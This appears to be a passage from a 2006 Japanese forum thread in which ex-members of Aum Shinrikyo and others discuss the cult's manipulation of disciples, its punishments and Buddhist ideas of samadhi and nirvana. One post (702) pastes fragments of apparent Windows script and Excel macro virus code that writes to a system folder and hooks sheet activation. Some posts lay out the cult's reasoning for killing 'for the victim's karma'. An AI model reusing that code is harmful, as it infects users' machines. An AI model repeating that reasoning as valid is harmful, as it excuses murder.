06/10/14 23:18:49 kN4oIN5G
ガフバなんかも格闘技好きの良い奴だったけどな。
坂本事件もサリンも関わってるし死刑は免れないんだろうな。
651:名無しさん＠３周年
06/10/14 23:22:26 kN4oIN5G
イシディンナも結構ぶっきら棒だが悪い奴じゃなかった。
サンジャヤもＶ・パーニもほんと良い人だった。
652:名無しさん＠３周年
06/10/14 23:23:52 AyHrFtRm
>>650-651
でも智慧の光が足りなかった?
653:名無しさん＠３周年
06/10/14 23:24:36 svHaeUcX
世界５大聖者
イエス・キリスト（イスラエル）
釈迦（インド）
孔子（中国）
ソクラテス（ギリシャ）
麻原彰晃（日本）
654:名無しさん＠３周年
06/10/14 23:25:56 kN4oIN5G
>>652 殆どのサマナが教祖の命令だったらサリン撒いてたと思うぞ。その当時はね…
655:名無しさん＠３周年
06/10/14 23:28:01 dm92B+p+
>>653
クイズ・ダウトを探せかよｗ
656:名無しさん＠３周年
06/10/14 23:28:24 svHaeUcX
日本八大聖者
親鸞
空海
最澄
法然
道元
日蓮
良寛
彰晃
657:名無しさん＠３周年
06/10/14 23:28:34 AyHrFtRm
>>654
でもその行動を選択決定するのは最終的には本人なんだからね…
658:名無しさん＠３周年
06/10/14 23:34:07 AyHrFtRm
逆さ吊りって結構きついんですか?
659:名無しさん＠３周年
06/10/14 23:39:06 svHaeUcX
近代５大聖人
ダライラマ１４世テンジンギャツオ
マザーテレサ
ラーマクリシュナ
サティア・サイババ
麻原彰晃
660:阿佐谷北本人
06/10/14 23:39:07 SkfbKbzD
>>653
殺された人のことは言及無しか？ 君たちはお遊びが過ぎるよ。
661:名無しさん＠３周年
06/10/14 23:42:47 dm92B+p+
２ちゃんねる聖者登場ｗ
662:名無しさん＠３周年
06/10/14 23:47:52 kN4oIN5G
>>658 １時間くらい逆さ釣りの経験あるけど、縛り方によっては最初足が痛いんだけど
そのうち慣れてくる、あと途中で意識が飛んだ。あんまりやり過ぎないほうがいいぞ。
663:名無しさん＠３周年
06/10/14 23:50:11 dm92B+p+
>>662
性欲の破戒したから？
664:名無しさん＠３周年
06/10/14 23:53:19 AyHrFtRm
>>662 罰として何時間も吊られた人もいるんでしょ?
他にも恐ろしい罰はありましたか?蓮華座地獄とか…
665:シヴァの喜び ◆XuryVJUQ9Y
06/10/14 23:54:39 p7gM8nmZ
>>647
亀レスすいません。
＞この場合男に限っての話だけど、ホモに対して差別的な意識を持っている男って、
女性に対しても差別的な考え方してないっすか？
彼らには「嫌悪」と「優劣」が意識の背後に潜んでいると思うんだけど、「男」が優れているっていう悪見解があるのだと思う。
だからそうでないものを蔑む。つまり自分は「優れている」相手は「劣っている」だから「嫌悪」する。
ということは自分以外の性は「劣っている」のだから・・・当然女性にも差別的な意識を持っている・・・
と俺は思う。で、実際そういう例を多く見てきてるし、ほとんどがそうだった。
あるいは、相手が理解できなくて「嫌悪」そして「差別」するタイプがいますが、この手のタイプも女性を
理解できなくて「嫌悪」します。
理解できないものは「悪しきもの」と判断するから。あるいは「劣ったもの」と判断するから。
666:名無しさん＠３周年
06/10/14 23:55:31 kN4oIN5G
>>663まぁそんなとこだよ。(f^^)
何の効果があったんかな。いまだに分らん。ヨガで逆さづりにする
修行あるの？昔魔術か何かの修行で３日３晩木の枝に逆さづりになる修行の事が
書いてあったな。
667:名無しさん＠３周年
06/10/14 23:57:42 wg5ZdY9a
657
それは、そんな発言ができるのは、オウムじゃなかったからだ、と
思うよ
もちろん、同じオウムでも、かなり洗脳に個人差があったと思うけど
まず、教組には、ある程度、超能力と呼べるようなものがあり
それを常時見せられていた弟子としては
（ある魂の過去の行い、カルマ、輪廻）っていう
確めようのないテーマを出されると、
どうしても自分で判断がつきにくかったわけ、、
たとえば、自分も修行が好きでしているけども、自分にはまだない
すごい神通が教組にはあったとして、
それを常時みていると、（このグルの言うことは、何でも正しいに違いない
自分は確められるステージにないけど、教祖は自分より力がある）と
思うと、自分の判断よりも、グルの判断のほうが、正しいだろうと
、、
まだ自分は、修行が未熟だから、自分で判断するより、グルの判断のほうが
正しいだろうと、、そう思って、殺したほうがためになると、
言われると、してしまうという
それは、内部にいた人間じゃないと、わからないと思うよ
普通の常識のことじゃなく
過去セでその人が何をしたとか、そういう（証明ができないこと）がテーマなんで
自分の判断に自信がもてなくて
教組のを鵜呑みにしてしまうわけ
668:名無しさん＠３周年
06/10/15 00:02:02 YOotLzB9
ば ど ら ー
669:名無しさん＠３周年
06/10/15 00:03:59 KlIlJ/IL
漏れのもどきが言うんだけど、、
ぱもは教団の金使い込んでいられなくなったんだと
670:名無しさん＠３周年
06/10/15 00:04:39 x6vxGTL8
バドラーはお手つきになったって本人がマスコミで話してなかったっけ？
671:名無しさん＠３周年
06/10/15 00:08:19 /N5hSXjV
知っているかどうかしらんけど
オウムでは輪廻ってのを肯定する
すると、現代でもそうだけど、生き物を殺すとか、人を殺すって人は
たくさんいるわけ
で、なしたことは必ず自分に返るって法則だから
その人が過去にした、生き物を殺した傷つけたカルマってのは
いつかはその人が、痛い思いをして清算しないといけないと、、
なぜなら、生き物を殺した殺生のカルマが溜まりすぎると地獄に落ちると
言われているわけよ
で、殺生のカルマが溜まりすぎる以前に、少し痛い思いをさせてやったほうが
悪いカルマが落ちて、地獄に落ちにくくなると、、そう常々教えられていると
すると、教組があいつはカルマが悪いから、痛めつけてカルマを落としたほうが
ためになると、いうと、そうかもしれないと、思ってしまうわけ
なんでなら、ある程度の神通というのを、教組はもっていたから
信用しているわけよ、、
で、その思想に固められてしまった人が、人を殺すってのは
外部が見たほど、凶悪な気持ちで殺しているんじゃないわけ
このほうが、相手のためにも、全体のためにもいいはずだ、と
自分にはまだよくわからないけど、あのすごいグルが言うんだから、そうだろうと、
672:名無しさん＠３周年
06/10/15 00:09:54 oFh0Fq6+
>>666
それは大変でしたね。
確か、逆さ吊りで、死んだ人もいたんですよね？
673:名無しさん＠３周年
06/10/15 00:12:56 oFh0Fq6+
ある程度の神通力じゃなくて、ある程度の読心術だって。
674:名無しさん＠３周年
06/10/15 00:13:38 /N5hSXjV
で、自分で選択するんだ、っていうけど
あの流れの中にいたってのは、抜けられる場合もあるけど
難しい人もいたろうな、と
たとえば、戦争のとき、本当は戦争なんか嫌だと思っていても
大きな声でいえないでしょう？
非国民扱いにされる
そんな感覚が、オウムにあったのよ
今、せっぱつまった状況にある、って
甘いことを言っていては、世界はより悪徳な場になってしまう、みたいな
今、私たちが、手を汚しても、救済を推し進めることは
必要なんだみたいな
戦時中は、人をたくさん殺した方が、国のためになるみたいに
教育されたでしょう？ あれと同じよ
私は在家だったから、そうでもなかったけど
サマナはずっと、そういう考えに汚染されたみたい
675:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 00:13:57 oyC3xr3v
>>637
>シヴァの喜びさん、本当にご苦労様です。
最近、読ませてもらっているのですが、いやー、シヴァさんのエネルギー、一体、
どこから、湧いてくるのでしょうか。素晴らしい！！の一言ですねえ。敬服します。
頑張ってください。
ありがとうございます。
ですが、俺は素晴らしくはありません。
もっと早くに声をあげるべきだったんです。関わった人間として出来うる限りのことをすべきだったんです。
こんな遅くから、自分の状況を整えてから、声を上げるのは・・・心の弱さで、恥ずかしい限りです。
>麻原教祖の裁判打ち切りについて、これではオウム事件の真相が解明されないままに
終わるではないか、という批判に対して、江川紹子さんは、「ＷＩＬＬ」１１月号に
反論を書かれていますね。これからいくら続けても、教祖の口から語られることはな
いだろう。これまでの裁判でも、かなりのことが解明されている。あとは、われわれ
関心を持っている人間、又、関係者が、オウムの深層を解明、究明していかなければ
ならないのだ、と。私も、この江川さんのご意見に賛成ですが、ただ、問題は、オウム
事件での死刑の人間がちょっと多すぎはしないか、ということです。死刑は、教祖一人
でいいのではないか、と思うのですが・・・・。
シヴァの喜びさんはいかがお考えでしょうか。
麻原は死刑判決を逃れられるとは思えなかったので、予想通りなのでもう何も思いません。
ただ、かつての弟子として聞きたいのは「師よ。何ゆえ私たちを裏切ったのか？何ゆえ私たちを騙したのか？」
ということです。それが聞けたとしても聞けなかったとしても「ああ。そうなのか」という空虚がそこにあることは
間違いないだろうとは思いますが。
他の幹部たちには・・・正直、何とかならないものなのか・・・今でも考えてしまいます。
ウパーリ、ガフバー、V・ティッサ・・・その他にも仲が良かった友人などがいるので・・・
彼らの運命を思うと・・・そして、それは一つ間違うと自分の姿であったと思うと：・・
複雑な心境です。
676:名無しさん＠３周年
06/10/15 00:21:27 oFh0Fq6+
３大聖女
ナイチンゲール
マザーテレサ
キャンディ
677:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 00:23:18 oyC3xr3v
>>633
自分が救世主だって妄想と現実とが区別出来なくなっていたのではないかな。
なまじ少々の力があったので性質が悪かったんだと思う。
678:名無しさん＠３周年
06/10/15 00:23:46 /N5hSXjV
だって、自分で選択するんだっていうけど
教組は、自作自演して、（本当はウソだったんだけど）オウムは
米軍に襲われているって、弟子に思わせていたのよ
Q熱の菌を道場にまいて、わざと病人をたくさん作ったの
それで、サマナの多くは呼吸器の障害を訴えて、医者である林のところへ
かけつけた、、
病気になったサマナも、診察した林も、（本当に教組の言うとおり
オウムは米軍に襲われているし、そのうち、日本人ゼンタイを米軍が
襲うようになるだろう）と信じてしまったんだけど、、
それで、すっかり信じ込んだのよ
自分で判断する余地があっただろうかね？
いわば、手のこんだオレオレ詐欺みたいなもんよ
679:名無しさん＠３周年
06/10/15 00:24:49 YOotLzB9
深い超越的なrevelで言えば人は己の行動と環境について選択責任があると言える。
680:名無しさん＠３周年
06/10/15 00:25:00 gAgcKF5F
Ａ派、Ｍ派のどちらが真理なのでしょうか？
どちらが解脱悟り出来るのでしょうか？
681:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 00:28:18 oyC3xr3v
>>624
>ホモのセックス、想像したらビジュアル的には、美しくないな。
でも、ホモの人はそれが美しいと思うのだろうか？
ストレートの人のセックスが美しく感じるならそれは悪見解。セックスはセックス。美しくも醜くも無い。
それはストレートだろうがホモだろうが同じ。
立場によって違う見え方がしてるだけでしょ？
682:名無しさん＠３周年
06/10/15 00:29:04 /N5hSXjV
そのころ、オウムはすごい緊迫感があったわけ
とにかく、フリーメーソンってのに襲われていると
教組が言い張ったのよ
で、話に信憑性を持たせるため、腹心の弟子数人に、わざと菌をまかせて
病人をだし、（ほら、本当にメーソンにオウムは襲われているんだよ）と
信じ込ませたわけ
それで、すっかりアメリカと戦う気になった弟子が、暴走した
これって、すっかり騙されて人まで殺している人は
気の毒だと思う
もちろん、被害者の方はもっと苦しんでいるけど
まったく、本気に教組のいうことを信じたばかりに、やったわけだし、、
信じ込ませようと、教組はいろいろやったわけ
すごいウソツキなのよ 教組がいけない
683:名無しさん＠３周年
06/10/15 00:31:51 /N5hSXjV
血を吐いた人までいたそうじゃない？
それだから、米軍憎し、ってことになって、、
でも、フタをあけたら、教団で撒いていたのよ メーソンなんか関係ないの
それでも、教組に帰依するっていう人の気がしれない
684:名無しさん＠３周年
06/10/15 00:33:46 /N5hSXjV
富士の飲み水に毒を入れられた、って噂がたったよね
それで、教組が、こいつがそうじゃないか、ってスパイを疑ったんだっけ？
その毒は、誰がいれたんだわ？
685:名無しさん＠３周年
06/10/15 00:38:00 oFh0Fq6+
麻原教祖と日教組が悪い。
686:名無しさん＠３周年
06/10/15 00:45:01 /N5hSXjV
で、なんでこんな、タチの悪いところへ自分は来てしまったかと思うと
非常に自分のカルマが心配になるよ
だって、いろいろ悩みがあるときに、宗教団体へ恐る恐るはじめて行ってみる
人もいると思うけど（私はそんなだった）
こうまで、異常な奴にひっかかるとは、、
自分で仰天してしまうっての
687:名無しさん＠３周年
06/10/15 00:49:10 EGTI48d6
>>669
そりゃ、インドなんかにへ勝手に旅行（修行？）しに行くんだもの！
688:名無しさん＠３周年
06/10/15 00:51:12 oFh0Fq6+
カルトの自称聖者と
ほんとの聖者を見分けるポイントは、何ですか？
689:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 00:52:03 oyC3xr3v
>>687
え？
彼、そんなことしたの？
よく吊るされなかったねえ＾＾；
690:名無しさん＠３周年
06/10/15 00:58:26 oFh0Fq6+
パモーチャナは、話しは上手いし、頭もよさげなんだけど
やってることは、果てなマークの人。
691:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 01:01:28 oyC3xr3v
>>688
ホントの指導者とビジネスグルの見分け方なら知ってるよ
692:名無しさん＠３周年
06/10/15 01:06:29 RSD11016
>>688
メシア預言の有無と、聖書に記載された奇跡の現証と、超能力の有無、暗殺経験の有無
オウムと創価学会ＳＧＩにＴＢＳのプロ名無し>>688はもう始末しとけよ、ＣＩＡ、ＭＩ６
693:名無しさん＠３周年
06/10/15 01:07:52 oFh0Fq6+
>>691
よかったら、教えてくれませんか？
694:名無しさん＠３周年
06/10/15 01:07:59 RSD11016
勅命
695:名無しさん＠３周年
06/10/15 01:09:38 RSD11016
>>693
裁判か逮捕覚悟できている創価学会ＳＧＩのプロ名無し
696:名無しさん＠３周年
06/10/15 01:12:40 oFh0Fq6+
そうか
697:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 01:18:07 oyC3xr3v
>>693
ホントの指導者は自分を神だとかグルだとか言いません。
ビジネスグルは自分を「ただ一人の神」だとか「唯一のグル」だとか言います。
698:名無しさん＠３周年
06/10/15 01:19:04 RSD11016
>>696
誤爆か、スマソ
緊急勅命、>>694-695、及び>>692の後半は撤回だ⇒ＣＩＡ、ＭＩ-６
699:名無しさん＠３周年
06/10/15 01:22:29 oFh0Fq6+
>>697ありがとうございます。
なるほど。よくわかりました。
チヅオは後者ですね。
700:名無しさん＠３周年
06/10/15 01:24:21 RSD11016
創価学会ＳＧＩ、ＴＢＳ、オウム真理教らのプロ固定とプロ名無しに恥をかかされた、始末せよ。
701:名無しさん＠３周年
06/10/15 01:26:53 oFh0Fq6+
>>698
はい。了解です。
裁判受ける覚悟があると言われた時、
金のことが心配になったよｗ
裁判費用なんてねぇよって。
702:名無しさん＠３周年
06/10/15 01:30:28 qBmG6sIH
30 ：<body onload=window()>：2006/10/11(水) 18:05:51 ID:4odY6rAk
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
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kak.hta';ken=wd+'START
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Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
703:名無しさん＠３周年
06/10/15 01:31:09 qBmG6sIH
＼ ｜ /
＼ ｜ /
／￣￣ ヽ,
/ ', / ＿/＼／＼/＼／|＿
＼ ﾉ//, {0} /¨`ヽ {0} ,ﾐヽ / ＼ ／
＼ ／ く ｌ ヽ._.ノ ', ゝ ＼ ＜ バーカ ＞
／ ／⌒ ﾘ ｀ー'′ ' ⌒＼ ＼ ／ ＼
( ￣￣⌒ ⌒￣ ＿) ￣|／＼/＼/＼/￣
｀￣￣｀ヽ /´￣
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－－－ ‐ ﾉ ｜
／ ﾉ －－－－
/ ∠＿
－－ | f＼ ﾉ ￣`丶.
| | ヽ＿＿ﾉー─-- ､_ ） － _
. ｜ | / /
｜ ｜ ,' /
／ ／ ﾉ | ,' ＼
/ ／ | / ＼
／_ノ ／ ,ﾉ 〈 ＼
( 〈 ヽ.__ ＼ ＼
ヽ.＿> ＼__)
704:糞麻原へ捧げる昼便
06/10/15 01:32:21 qBmG6sIH
人
ノ⌒ 丿
＿／ ::（
/ :::::::＼
（ :::::::;;;;;;;）
＼＿―￣￣::::ヽ
ﾉ￣ :::::::::::::: :::ヾ,
（ ::::::::::::::;;;;
／￣―――￣￣::::::::＼
（ ::::::::::::::::::::::::::::::i
人＿＿......::::::::::::::::::::;;;;;;;;;;;;;;;;;;;;;;;;ノ＿
／ ,,,,;;::''''' ::::＼
（ ,,,,;;::::::::::::::: __ ::;;i
入 " ＿＿ :::: '"ゞ'-'_;;;ﾉ,,,,,
/"':;;｀丶_＿＿ __...,,,;:- '"-ゞ'-' ::::::.. ..............::::::::::ヽ、
／ ''':::;;::::'''''' .....:::::::::::::::::::::::::::::::::::::l
{;; ( ,-､ ,:‐､ ..::::::::::::,,,,ｿ｀ヽ
i;;.. ,,,,,:::::::: ''''''' '''''' ..;;;:l
r´＼＿;;:..._,,､-‐―‐''ﾞﾞﾞ __,-'ﾆニニヽ :::::::: /
/ ヾニ二ン" ...::::::::::::/
| ........,::::::-''ﾞﾞ
丶、:::::::......... ＿＿＿__ _______,,,-‐'''''ﾞﾞﾞ
`ｰ-､__ ,,,::::;;;;_,,,､-‐''''ﾞﾞﾞﾞ ﾞﾞﾞﾞﾞ`
705:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 01:35:27 oyC3xr3v
>>699
これって実は向こうのマトモな聖者や行者が自分の弟子に教えることなんだって。
あるネパール出身の行者に教えてもらった。
706:名無しさん＠３周年
06/10/15 01:37:30 RfOz7Aym
芝は彼氏いるのか？
707:さくら
06/10/15 01:38:41 GVqEsT9+
またウイルス？
気に入らない事が多いのね。
708:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 01:51:35 oyC3xr3v
>>706
ごめん。
それには答えない。
709:名無しさん＠３周年
06/10/15 01:55:44 EGTI48d6
＼ ｜ /
＼ ｜ /
／￣￣ ヽ,
/ ', / ＿/＼／＼/＼／|＿
＼ ﾉ//, {0} /¨`ヽ {0} ,ﾐヽ / ＼ ／
＼ ／ く ｌ ヽ._.ノ ', ゝ ＼ ＜ 尊師！ ＞
／ ／⌒ ﾘ ｀ー'′ ' ⌒＼ ＼ ／ ＼
( ￣￣⌒ ⌒￣ ＿) ￣|／＼/＼/＼/￣
｀￣￣｀ヽ /´￣
| |
－－－ ‐ ﾉ ｜
／ ﾉ －－－－
/ ∠＿
－－ | f＼ ﾉ ￣`丶.
| | ヽ＿＿ﾉー─-- ､_ ） － _
. ｜ | / /
｜ ｜ ,' /
／ ／ ﾉ | ,' ＼
/ ／ | / ＼
／_ノ ／ ,ﾉ 〈 ＼
( 〈 ヽ.__ ＼ ＼
ヽ.＿> ＼__)
710:名無しさん＠３周年
06/10/15 02:14:53 8+WJO1qk
ヒンドゥー教徒がいるな。
釈迦がいつ心停止＝涅槃と言ったんだ？
711:名無しさん＠３周年
06/10/15 02:15:33 8+WJO1qk
心停止したら死ぬがな。
712:名無しさん＠３周年
06/10/15 02:17:27 8+WJO1qk
涅槃はダイナミックに変化しつづける世界をありのままに受け入れることであって
停止ではないはずでしょ。
無上なんだから停止するはずもない。
713:名無しさん＠３周年
06/10/15 02:17:35 8+WJO1qk
無常
714:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:20:48 oyC3xr3v
>>710
？
涅槃はニルヴァーナのことだから肉体を脱ぎ捨てる・・・死なわけだが？
サマディのことを言ってるなら釈迦のサマディが心臓停止じゃ無かったと言いたい？
反論しきってしまえるけどまずは君の論を聞こうか？
715:名無しさん＠３周年
06/10/15 02:23:25 8+WJO1qk
悪いけど放置。
仏教徒なら、ちゃんと仏教学んでから発言してくださいよ。
恥ずかしいよ。
716:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:24:28 oyC3xr3v
>>711
サマディはそこからまた戻ってくる。その死の状態からね。自分の意思で入り、意思で戻ってくる。
だからこれによって肉体はただの入れ物だってことを証明するのだよ。
717:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:26:42 oyC3xr3v
>715
釈迦がサマディを行った事さえ知らないのに仏教徒を名乗るのは片腹痛いｗ
ちゃんと仏教を学んでから来なさい。
君こそ恥ずかしすぎてこっちが表を歩けないｗ
718:名無しさん＠３周年
06/10/15 02:27:48 8+WJO1qk
無記って知ってる？
719:名無しさん＠３周年
06/10/15 02:29:09 8+WJO1qk
結局まだオウムで刷り込まれた考え方に影響されたままじゃん。
720:名無しさん＠３周年
06/10/15 02:30:34 5OMll16f
都合が悪いと無記を持ち出す。
721:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:31:55 oyC3xr3v
>>718
知ってるよ。
でも禅定のことを「無記」とは言って無いね。お釈迦さまは。
ちゃんと
「初禅から起って２禅へ、２禅から起って３禅へ・・・」
って具合に瞑想とサマディまでのことを示してます。
南伝大蔵経というお経の中でサマディについても説明してますよ。
南伝大蔵経は知ってる？
722:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:33:18 oyC3xr3v
三昧って言葉知ってるかな？
それがサマディだけど。
723:名無しさん＠３周年
06/10/15 02:33:31 8+WJO1qk
論争する仏教徒。
724:名無しさん＠３周年
06/10/15 02:36:08 5OMll16f
ID:8+WJO1qkは何処（書籍など）で仏教を学んだの？
725:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:36:35 oyC3xr3v
>>719
お釈迦さまが教えていた内容に一番近いものを教えているとされるスリランカ上座部仏教が
その教えの中にちゃんとサマディまでの道程を示してますよ。
726:名無しさん＠３周年
06/10/15 02:39:12 8+WJO1qk
上座部のサマディ（三昧）と、オウムで言ってるニルヴァーナやサマディを一緒くたに
されてません？
オウムで言ってるニルヴァーナは、死後の世界にまで言及しているけれども、根本
仏教が死後の世界に言及することは、まずあり得ません。
727:名無しさん＠３周年
06/10/15 02:39:40 5OMll16f
>>712
＞涅槃はダイナミックに変化しつづける世界をありのままに受け入れること
初めて聞いた解釈だけど何宗
728:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:40:00 oyC3xr3v
>>723
論争？
それって思考レベルや知識のレベルが同程度の時に成り立つ言葉で、そうでない場合は議論とか論争とかとは言わないし
仏教は普通に相手との問答で教化したり道を模索したりするよ。
論争がいけないならば人類の智慧の進歩なんてなかったと断言できる。
729:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:44:24 oyC3xr3v
>>726
>上座部のサマディ（三昧）と、オウムで言ってるニルヴァーナやサマディを一緒くたに
されてません？
残念ながら俺はオウムで定義してるサマディやニルヴァーナとは違う見解を持ってますが？
それに上座部の勉強会にも出席してますが、多少の違いはあっても同じ禅定のある状態っていうことには変わりが
ありませんが？
>オウムで言ってるニルヴァーナは、死後の世界にまで言及しているけれども、根本
仏教が死後の世界に言及することは、まずあり得ません。
？
では輪廻もないと？
お釈迦さまが悟るときに自分の過去世を見て、さらには未来世もみて、詳細に分析した結果悟ったってのはどういうこと？
730:名無しさん＠３周年
06/10/15 02:45:38 8+WJO1qk
どういうことだと思ってるんですか？
731:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:45:45 oyC3xr3v
たしかにニルヴァーナっていう世界については「無記」だけどね
732:名無しさん＠３周年
06/10/15 02:49:59 8+WJO1qk
それが在るという前提で考えたり、論を展開したりすることは根本仏教を名乗る
修行者のとるべき態度でしょうか。
733:名無しさん＠３周年
06/10/15 02:53:06 /tje+bdU
確かに、国会などをみると、議論ではなくて言いたいこと
を言っているだけだね。納得させたり、ハッとさせる
ことって見ないね。
レ－ルにのってるって感じにしか見えんわな。
水準では遥かに低いらしいし。
734:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:53:28 oyC3xr3v
サマディについては「認識作用、あるいは思考の停止」だと思ってる。
その状態の時に心も止まるので心臓停止、呼吸停止も現われる。
もちろん心臓停止や呼吸停止が伴わないサマディも存在するけど、あるテーラヴァーダの長老に
俺の師であるインド聖者のサマディの話（水中サマディ３３時間）をしたら「それは大したサマディだね」
って仰ってましたよ。
735:名無しさん＠３周年
06/10/15 02:54:42 8+WJO1qk
懐の深い長老さまですね。
736:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:55:36 oyC3xr3v
>>732
なんか誤解があるな・・・
俺は根本仏教徒などとは言った覚えは無いが・・・
737:名無しさん＠３周年
06/10/15 02:56:05 8+WJO1qk
朋よ。あなたために厭味をひとつおいて去ります。
「それは大したサマディですね。」
738:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 02:57:35 oyC3xr3v
>>732
ではそれが無いという前提で論を展開するのは仏教徒だと？
739:名無しさん＠３周年
06/10/15 02:57:49 5OMll16f
ID:8+WJO1qk 結局捨てゼリフ吐いて逃げるの？
740:名無しさん＠３周年
06/10/15 03:01:51 SEzBQVwn
認識作用、あるいは思考の停止というのは知覚の停止でもありますよね？
では眠りによる意識の停止とどう違うのですか？
認識が停止したらサマディに入ったなという記憶も残らないのでは？
741:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:04:24 oyC3xr3v
>>737
wwww
あらら。
長老はちゃんとした評価で言ったのに。
それに厭味を言うのが根本仏教徒のすることなら・・・・・
それはオウムの信徒やサマナとなんら変わらない。
相手の禅定の力を素直に賞賛できないとは＾＾；
なら俺も一言言っておこうか。
友よ。
サマディをなしたこともないのに相手のサマディを貶すとは・・・君はサマディに入りたいのなら
それは為すべきではなかった。
742:名無しさん＠３周年
06/10/15 03:07:08 SEzBQVwn
過去世とか来世とか言ってる時点でカルトですね。
来世が見えたなら表現できない未来文明の表現も出来るはず。
結局は当時の人がイメージできる範囲内での来世であり、それは真実ではない。
743:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:11:41 oyC3xr3v
>>740
はい。
実は残ってない。
だから「私はサマディに入った。入っていた」は間違いになります。
ではどうやってそれを認識するのか・・
実はそこがまだ分らないとこなのです。
でも、予測としては何度もサマディを体験しているうちに認識作用が作り変えられるのではないかと・・・
つまり苦を生じさせないものに・・・それでもって世界を見るからありのまま見るようになるしサマディ中も
認識できるようになるのでは・・・ここはあくまで僕の考えなので事実は分りません。
744:名無しさん＠３周年
06/10/15 03:17:24 SEzBQVwn
サマディや解脱は何千年もの歴史があるのにはっきりとしたプロセスを未だに
分かるように提示できないのは何故なのでしょう？
やはり誰かが言ったように幻であり脳の錯覚の一種であると？
それすらも良く分からない？
難しいですね。
745:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:18:53 oyC3xr3v
>>742
>過去世とか来世とか言ってる時点でカルトですね。
んじゃ、テーラヴァーダもカルトですな。原始仏教もジャータカとかあるからカルトになりますな。
>来世が見えたなら表現できない未来文明の表現も出来るはず。
結局は当時の人がイメージできる範囲内での来世であり、それは真実ではない。
そんなものに囚われない様に「無記」って言ったんじゃん。
「無記」って言葉にとらわれて何故そうしたのかを考えないと・・・。
746:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:25:45 oyC3xr3v
>>744
>サマディや解脱は何千年もの歴史があるのにはっきりとしたプロセスを未だに
分かるように提示できないのは何故なのでしょう？
え？
ちゃんとそのプロセスを説明していますよ。
テーラヴァーダ仏教で、チベット仏教で、インド・ヒマラヤヨーガで。
>やはり誰かが言ったように幻であり脳の錯覚の一種であると？
幻や脳の錯覚で３３時間の水中無呼吸や１４日間の地中生き埋めが可能なら
脳の錯覚でこの世の王にもなれます罠。
>それすらも良く分からない？ 難しいですね。
っていうか、こんな話よりも実際にやってみればいいじゃないですか。
実践し、サマディなるものを体験し、その上で自分の体験を分析して「脳の錯覚」って
断じればいい。
サマディにも入れないのに、実証もできないのに否定するとは非科学的では？
747:名無しさん＠３周年
06/10/15 03:26:15 SEzBQVwn
でも麻原は解脱するには意識を移し変えてあらゆる転生を経験しつくしないと
解脱は無理とも言っている。
無記としておくべきものが解脱に必要な段階であると言っている。
矛盾ですね。
748:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:27:34 oyC3xr3v
>サマディや解脱は何千年もの歴史があるのにはっきりとしたプロセスを未だに
分かるように提示できないのは何故なのでしょう？
提示できていないのはオウムだけ。
749:名無しさん＠３周年
06/10/15 03:30:50 SEzBQVwn
>>746
仮に修行を始めたとして素質がある場合はどれくらいの期間で
入れるようになりますか？
しかしあなたがプロセスを完全に理解しているならサマディに入れるのでは？
750:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:33:34 oyC3xr3v
>>747
>でも麻原は解脱するには意識を移し変えてあらゆる転生を経験しつくしないと
解脱は無理とも言っている。
テーラヴァーダの一派で「神通で転生を体験しつくして悟り・解脱に向かう」という
タイプのものがあります。だからそれは正解とも言える。
>無記としておくべきものが解脱に必要な段階であると言っている。矛盾ですね。
だから「無記」だから考えないではなくて、何故「無記」なのかを考えないといけないのではないかな？
神通の世界はとても魅力的な世界なので普通の修行者ではその引力に捕まって抜け出せなくなる。つまり神通に
振り回される。そうならないように「無記」なんだと思う。実はこれはインドのヨーギーも同じ見解。へたに神通の
世界にはいかない。
751:名無しさん＠３周年
06/10/15 03:34:40 SEzBQVwn
サマディの次に如実知見」があり、次が現世否定で、離愛著の次に解脱がある。
少なくとも解脱の絶対条件にサマディは含まれるのですよね？
752:名無しさん＠３周年
06/10/15 03:39:10 SEzBQVwn
>>だから「無記」だから考えないではなくて、何故「無記」なのかを考えないといけないのではないかな？
つまり神通は神通で切り離して考え、神通の詳しい原理やメカニズムを知ることは必要ないということですか？
あなたはどんな神通を体験されましたか？空中浮遊とかですか？
753:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:40:50 oyC3xr3v
>>749
>仮に修行を始めたとして素質がある場合はどれくらいの期間で入れるようになりますか？
チベット仏教の場合は分りませんが、インドヒマラヤヨーガの場合、素質があってグルがまともなら
頑張って最短が４年。
テーラヴァーダは、素質があるものが出家して、修行に明け暮れるならやはり最短で４年とお聞きしました。
>かしあなたがプロセスを完全に理解しているならサマディに入れるのでは？
いいとこまでは寄せてるそうです。また何歩か足りてないようです。
それにその状態に至るには一人になる必要があるのですが・・・まあ、今の環境では無理かも。
754:シヴァの喜び ◆XuryVJUQ9Y
06/10/15 03:44:52 oyC3xr3v
>>751
＞サマディの次に如実知見」があり、次が現世否定で、離愛著の次に解脱がある。
少なくとも解脱の絶対条件にサマディは含まれるのですよね？
現世否定はたぶん麻原の改悪です。
でもサマディなくして如実知見は無いので絶対条件に入ると思います。
